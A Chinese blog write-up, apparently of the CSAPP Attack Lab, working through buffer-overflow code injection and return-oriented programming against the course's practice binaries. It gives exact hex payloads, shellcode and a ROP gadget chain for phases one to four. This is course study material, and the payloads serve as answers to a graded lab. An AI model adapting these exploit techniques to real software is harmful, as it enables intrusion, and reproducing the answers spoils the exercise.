CSAPP attacklab
CSAPP Attack Lab 记录
这个 lab 主要是学习缓冲区溢出的相关机制以及实践攻击。
这里有两个程序 ctarget 和 rtarget 等待攻击,对 ctarget 使用注入代码攻击(Code Injection,CI),对 rtarget 使用面向返回编程(Return-oriented programming,ROP)。
首先利用反汇编工具 objdump 生成 ctarget 的反汇编
objdump -d ctarget > ctarget.d
生成 ctarget 的汇编指令,存储在 ctarget.d 内
攻击的目标函数是手写的 test ,包含如下的 getbuf 函数:
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
phase1
这个 phase 是让我们在运行 test 后转到 touch1
./hex2raw < c.txt > c1.txt #利用提供的工具转化为合适格式
LD_PRELOAD=./printf.so ./ctarget -q <c1.txt #Ubuntu22.04不兼容这个lab,在网上找到了这个方法解决了这个问题。
在gdb中使用就是
set environment LD_PRELOAD=./path
反汇编后观察 getbuf:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
分配了 0x28,也就是 40 的栈空间。那么我把 40 的空间全部占用后继续输入,就会读入到返回地址中。
找到 touch1 的地址 4017c0,由于是在小端法机器上,需要倒序读。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
即为答案
phase2
这个 phase 和上一个唯一的不同之处在于 touch2 要传一个参数,那么我们观察 touch2 可以发现参数传到了 %edi 中,于是可以将代码注入输入之中。
具体来说,我们运用相同的方法改变 return 到的地址,但这次不直接 return 到 touch2,而是先 return 到 buf 所在的位置,让程序将 buf 中的数字当作指令来运行。
那还有两个问题,第一个是如何 return 到 buf 的位置,那我们 gdb 调试一下去查询一下 %rsp 的值,那就是我们要返回到的地方。
然后就是如何注入代码,那么我们把它写进 buf 即可,先将注入程序写入汇编语言文件 a.s 中
mov $0x59b997fa,%edi
pushq $0x4017ec
retq #先 push 再 ret,ret 的时候会自动弹出栈顶并且返回到相应位置。
将这段汇编转换成二进制并写入答案即可。
答案即为
bf fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
phase3
这个地方的区别在于要额外传进去一个指针作为字符串的起始地址,但是要求了我们不能在 buf 中,换个思路,缓冲区溢出到 test 的栈帧中,存到哪里即可,
查询 test 中的 rsp,即得其栈顶
一个答案为
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
所以其实不只是栈顶,只要位置对好了就可以,比如我再修改一下:
48 c7 c7 b0 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61
也是可以的。
前三个 phase 是代码注入,后两个 phase 是面向返回编程。
phase4
从这里开始是面向返回编程,我个人的理解就是一种“断章取义”,什么意思,比如说我一条命令
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
我从 4019a7 这个位置开始看,就是上述的命令,但是我要是从 4019ab 的位置开始看,就变成了
popq %rax
nop
也就是阅读指令的位置很关键,即使是在正常存储指令的位置,我们如果不从正确的地方开始读,也会造成很大的错误,ROP 利用这一点,故意返回到 具有指定错误语义 的位置,使得程序出错。
那么具体到这个 phase ,可以阅读提供来的函数,发现其中正好某些字段有
popq %rax
ret
和
mov %rax,%rdi
ret
而 touch2 的参数就存在 %rdi 之中,这就可以通过不断的跳转来实现传参和调用了。
那么一种答案就是
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #前边是啥无所谓,把 buf 空间填满就可以了
cc 19 40 00 00 00 00 00 #跳到popq
fa 97 b9 59 00 00 00 00 #把cookie存到栈顶
c5 19 40 00 00 00 00 00 #跳到mov
ec 17 40 00 00 00 00 00 #跳到touch2
这部分画一个倒序的栈就可以更好的理解了
phase5
这个 phase 和 phase3 是一样的,不同之处是我们如何实现这个功能,由这两个 phase 可以看出,ROP 需要对每一步指令的地址和寄存器都精确的安排好,使程序按照我们期望的错误方向进行。
那么同样的想法,还是将 cookie 注入到 test 的栈帧,但这里由于它的处理,我们没法直接获得 test 栈的地址,这里要通过一些方法将这个地址插到 %rdi 中。
然后去找对应的工具。
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
如果我们将 %rsp 注入 %rdi ,cookie 相对于 %rsp 的偏移量注入 %rsi,再调用这个就可以了。
那么就是,首先读出 %rsp ,然后手算算出偏移量注入 %rsi,之后的调用就与 phase4 无异了

浙公网安备 33010602011771号